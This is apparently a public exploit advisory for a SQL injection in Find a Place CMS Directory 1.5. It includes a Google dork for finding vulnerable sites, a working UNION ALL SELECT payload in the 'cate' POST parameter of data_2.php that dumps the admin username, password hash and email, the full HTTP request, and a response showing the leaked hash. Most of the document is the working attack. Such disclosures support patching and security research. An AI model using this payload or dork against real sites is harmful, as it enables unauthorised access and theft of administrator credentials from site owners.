Find a Place CMS Directory 1.5 - 'assets/external/data_2.php cate' SQL Injection

# Exploit Title: Find a Place CMS Directory 1.5 - 'assets/external/data_2.php cate' SQL Injection
# Google Dork: inurl:"assets/external/data.php"
# Date: 14 Feb 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Vendor Homepage: https://themerig.com/
# Software Link: https://codecanyon.net/item/locations-multipurpose-cms-directory-theme/21098597
# Demo Website: https://themerig.com/find/
# Version: 1.5
# Tested on: WIN7_x68/Linux
# CVE : N/A

# Description:
----------------------
Find a Place CMS Directory 1.5 suffers from a SQL Injection vulnerability.

# POC:
----------------------
1. Access the following path https://[PATH]/assets/external/data_2.php
2. You can perform a "Generic UNION query" and extract admin credentials by sending a "POST" request using the payload below
cate=2.9') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat(username,0x3a3a,password,0x3a3a,email),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users limit 1-- -

# Request:
----------------------
POST /find/assets/external/data_2.php HTTP/1.1
Host: server
Connection: close
Content-Length: 251
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://themerig.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://server/find/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

cate=2.9') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat(username,0x3a3a,password,0x3a3a,email),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users limit 1-- -


# Response:
----------------------
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=1sml2ou7o5e379b05l3q0iscq1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 227
Vary: Accept-Encoding
Date: Fri, 15 Feb 2019 03:09:26 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Alt-Svc: quic=":443"; ma=2592000; v="35,39,43"
Connection: close

{"data":[{"id":null,"category":null,"title":null,"address":null,"latitude":null,"longitude":null,"marker_color":null,"feaured":null,"marker_image":[""],"featured":"admin::4db50f86732e926e59d306cff063d568::themerig@server"}]}